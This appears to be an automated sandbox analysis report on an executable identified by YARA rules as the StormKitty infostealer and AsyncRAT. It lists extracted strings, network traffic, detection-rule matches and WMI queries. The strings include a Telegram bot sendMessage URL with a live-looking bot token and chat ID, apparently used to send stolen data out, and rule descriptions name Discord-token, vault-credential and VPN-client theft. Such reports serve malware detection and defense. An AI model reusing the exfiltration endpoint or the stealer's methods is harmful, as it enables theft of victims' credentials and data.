Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgd
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/t
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.comd
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15d
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.tele
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: cOH7jKmo25.exe	String found in binary or memory: https://api.telegram.org/bot
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6331768257:AAE1Rrc3F4A-nTJkfXEukNBriTate8i72L8/sendMessage?chat_id=52871
Source: cOH7jKmo25.exe	String found in binary or memory: https://api.telegram.org/file/bot
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgd
Source: tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cOH7jKmo25.exe	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty0&
Source: cOH7jKmo25.exe, 00000000.00000002.2566383997.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKittyTC
Source: cOH7jKmo25.exe	String found in binary or memory: https://pastebin.com/raw/7B75u64B
Source: cOH7jKmo25.exe	String found in binary or memory: https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13
Source: tmpA839.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org
Source: tmpA839.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: tmpA839.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GNzbMA16ssY5
Source: tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmpA739.tmp.dat.0.dr, tmpA6E7.tmp.dat.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: tmpA839.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org
Source: tmpA839.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: tmpA839.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: History.txt.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/)
Source: places.raw.0.dr, tmpA839.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: tmpA839.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: places.raw.0.dr, tmpA839.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: places.raw.0.dr, tmpA839.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806

Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.9:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49796 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: cOH7jKmo25.exe, type: SAMPLE
Source: Yara match	File source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Code function: 0_2_02976390	0_2_02976390
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Code function: 0_2_02975AC0	0_2_02975AC0
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Code function: 0_2_02979750	0_2_02979750
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Code function: 0_2_02975778	0_2_02975778
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Code function: 0_2_02979760	0_2_02979760
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Code function: 0_2_059605F0	0_2_059605F0
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Code function: 0_2_05960600	0_2_05960600
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Code function: 0_2_0596C108	0_2_0596C108
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Code function: 0_2_0596C0F7	0_2_0596C0F7
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Code function: 0_2_05965D52	0_2_05965D52
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Code function: 0_2_05965D60	0_2_05965D60

Source: cOH7jKmo25.exe, 00000000.00000002.2565651220.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs cOH7jKmo25.exe
Source: cOH7jKmo25.exe, 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameClient.exe. vs cOH7jKmo25.exe
Source: cOH7jKmo25.exe	Binary or memory string: OriginalFilenameClient.exe. vs cOH7jKmo25.exe

Source: cOH7jKmo25.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: cOH7jKmo25.exe, type: SAMPLE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.0.cOH7jKmo25.exe.7e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000000.00000000.1315479015.00000000007E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000002.2566383997.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: cOH7jKmo25.exe PID: 7540, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/114@4/4

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

File created: C:\Users\user\AppData\Local\e40d0e63b27ae1bdf03271cbddc24ff7

Jump to behavior

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7856:120:WilError_03

Source: C:\Users\user\Desktop\cOH7jKmo25.exe

File created: C:\Users\user\AppData\Local\Temp\tmpA6E7.tmp

Jump to behavior

Source: cOH7jKmo25.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: cOH7jKmo25.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\cOH7jKmo25.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
